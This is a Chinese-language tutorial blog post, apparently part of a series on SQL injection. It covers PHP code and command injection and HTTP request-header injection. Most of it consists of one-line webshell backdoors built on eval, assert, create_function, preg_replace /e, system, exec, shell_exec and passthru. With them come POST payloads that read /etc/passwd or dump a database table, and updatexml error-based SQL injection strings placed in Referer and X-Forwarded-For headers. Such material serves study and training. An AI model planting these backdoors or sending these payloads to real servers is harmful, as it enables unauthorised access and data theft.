sql注入(9), 代码注入, 命令注入

代码注入, 命令注入

一, 代码注入

通过木马执行php代码.
原则上只要是能导致上传的payload可以执行的函数都可以使用.

1. eval() 函数

在php中 eval() 函数可以执行任意有效的php代码, 比如 eval(“phpinfo();”).
通过post请求也可以执行更复杂的代码.

后门:

<?php @eval($_POST['cmd']); ?>

payload:

cmd=$a=100;$b=200;print($a+$b);
cmd=$conn = mysqli_connect('127.0.0.1', 'root', '', 'learn');mysqli_set_charset($conn, 'utf8');$result = mysqli_query($conn, "select * from user");$rows = mysqli_fetch_all($result);var_dump($rows);
2. assert() 函数

assert() 判断一个表达式是否成立, 它会先执行表达式再判断. 所以利用它可以执行我们需要的代码.

后门:

<?php @assert($_POST['cmd']); ?>

payload:

cmd=phpinfo();
cmd=print(date('Y-m-d'));

通过assert执行eval函数也可以执行多条代码.
cmd=eval('$a=100;$b=200;print($a+$b);');
3. create_function() 函数

该函数用来创建匿名函数. payload 作为函数体来执行.

后门:

<?php
$func = create_function('', $_POST['cmd']);
$func();
?>

payload:

cmd=phpinfo();
cmd=$a=100;$b=200;print($a+$b);
cmd=eval('$a=100;$b=200;print($a+$b);');
4. preg_replace() 函数

这是正则替换函数, 第一个字符串参数中如果包含 ‘/e’, 就会解析执行后面第二个参数的代码.
注意: 只适用于 php5.5 以下的版本, 新版本已经舍弃 ‘/e’ 参数.

后门:

<?php @preg_replace("/test/e",$_POST['cmd'],"string")?>

payload:

cmd=phpinfo();

二, 命令注入

通过木马执行linux系统命令.

1. system() 函数

后门:

<?php system($_POST['cmd']); ?>

payload:

cmd=cat /etc/passwd
2. echo exec() 函数

exec() 前面需要加echo回显.
后门:

<?php echo exec($_POST['cmd']); ?>

payload:

cmd=cat /etc/passwd
3. echo shell_exec() 函数

exec() 前面需要加echo回显.
后门:

<?php echo shell_exec($_POST['cmd']); ?>

payload:

cmd=cat /etc/passwd
4. passthru() 函数

后门:

<?php passthru($_POST['cmd']); ?>

payload:

cmd=cat /etc/passwd

三, http请求头注入

原理:

服务器可能为了统计数据会将客户端发送的某些请求头信息记录到数据库,
例如 Referer, User-Agent, Host, X-Forwarded-For 等等,
那么通过修改请求头信息可以造成数据库报错, 进行报错注入.

可以使用burpsuit工具伪造请求头. 例如:

Referer:' or updatexml(1, concat(0x7e, database(), 0x7e) ,1) or '
X-Forwarded-For:' or updatexml(1, concat(0x7e, database(), 0x7e) ,1) or '
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值